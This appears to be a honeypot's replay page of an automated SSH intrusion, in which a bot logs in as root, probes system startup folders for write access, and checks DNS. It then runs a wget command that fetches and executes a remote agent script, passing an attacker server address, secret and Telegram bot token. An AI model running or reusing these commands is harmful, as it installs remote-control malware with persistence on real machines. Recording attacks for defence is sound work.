← All sessions
Ended · replayGot inTyped by a botevery command without a terminal

Got in and tried to download its tools

on Mumbai, Indiajasmine-rhea-30i from Dronten, Netherlandsseen 23 times this weekSSH-2.0-Go

root@in-bom-gcp-1 · 🇮🇳 Mumbai
connected from 🇳🇱 Dronten, Netherlands · SSH-2.0-Go
root@in-bom-gcp-1's password: 
Logged in as root
root@in-bom-gcp-1:~# echo $((1+1))
2
root@in-bom-gcp-1:~# set -u

probe_dir() {
	dir="$1"
	test_file="$dir/.deploy-write-test.$$"

	if ! (umask 077 && : > "$test_file") 2>/dev/null; then
		return 1
	fi

	rm -f "$test_file" >/dev/null 2>&1 || return 1
	return 0
}

found=0

for dir in /etc/systemd/system /etc/init.d; do
	if [ -d "$dir" ]; then
		found=1
		if probe_dir "$dir"; then
			echo "WRITABLE:$dir"
			exit 0
		fi
		echo "READ_ONLY:$dir"
	fi
done

if [ "$found" -eq 0 ]; then
	if [ ! -d /root ]; then
		echo "MISSING:/root"
		exit 1
	fi

	if probe_dir /root; then
		echo "WRITABLE:/root"
		exit 0
	fi

	echo "READ_ONLY:/root"
fi

exit 1
WRITABLE:/etc/systemd/system
root@in-bom-gcp-1:~# set -u

if command -v nslookup >/dev/null 2>&1; then
	nslookup raw.githubusercontent.com
	exit $?
fi

if command -v dig >/dev/null 2>&1; then
	dig +time=5 +tries=1 raw.githubusercontent.com
	exit $?
fi

if command -v getent >/dev/null 2>&1; then
	getent ahosts raw.githubusercontent.com
	exit $?
fi

echo "NO_DNS_LOOKUP_TOOL" >&2
exit 127
Server:		172.31.0.2
Address:	172.31.0.2#53

Non-authoritative answer:
Name:	raw.githubusercontent.com
Address: 3.219.43.69
root@in-bom-gcp-1:~# command -v wget >/dev/null 2>&1 && echo OK || echo MISSING
OK
root@in-bom-gcp-1:~# wget --no-check-certificate -O agent.sh https://raw.githubusercontent.com/nezha-rs/agent-rust/main/agent2.sh && chmod +x agent.sh && env NZ_SERVER='dash-server.132546.xyz:8007' NZ_TLS=false NZ_CLIENT_SECRET='LluIEPW4YELMU0q73fVmuGftFqao4C3j' TG_BOT_TOKEN='8852603513:AAFNtQq38ZwzTRl4s2OuqV4JgxbzTtYLNtQ' TG_CHAT_ID='-1004362596133' ./agent.sh --download-base http://sock-server.132546.xyz/nezha/v2.1.0

Disconnected · 5m 35s inside

5:35 / 5:35
What they found: A web agency's WordPress serverA small web agency's cloud server that hosts a handful of client websites built on WordPress, with their databases on the same machine.

Live updates paused

Reconnecting…

Trying again in seconds.

The connection is gone. Reload the page to see the latest.

Paused to save the server’s work while you were away.

Couldn’t resume. Reload the page to see the latest.